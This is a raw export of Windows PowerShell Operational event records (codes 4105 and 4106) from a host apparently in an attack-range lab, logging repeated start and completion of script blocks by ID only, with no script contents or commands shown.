Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040095
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040094
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040093
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040092
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040076
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040075
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040070
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040069
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040047
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040046
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040045
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040044
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
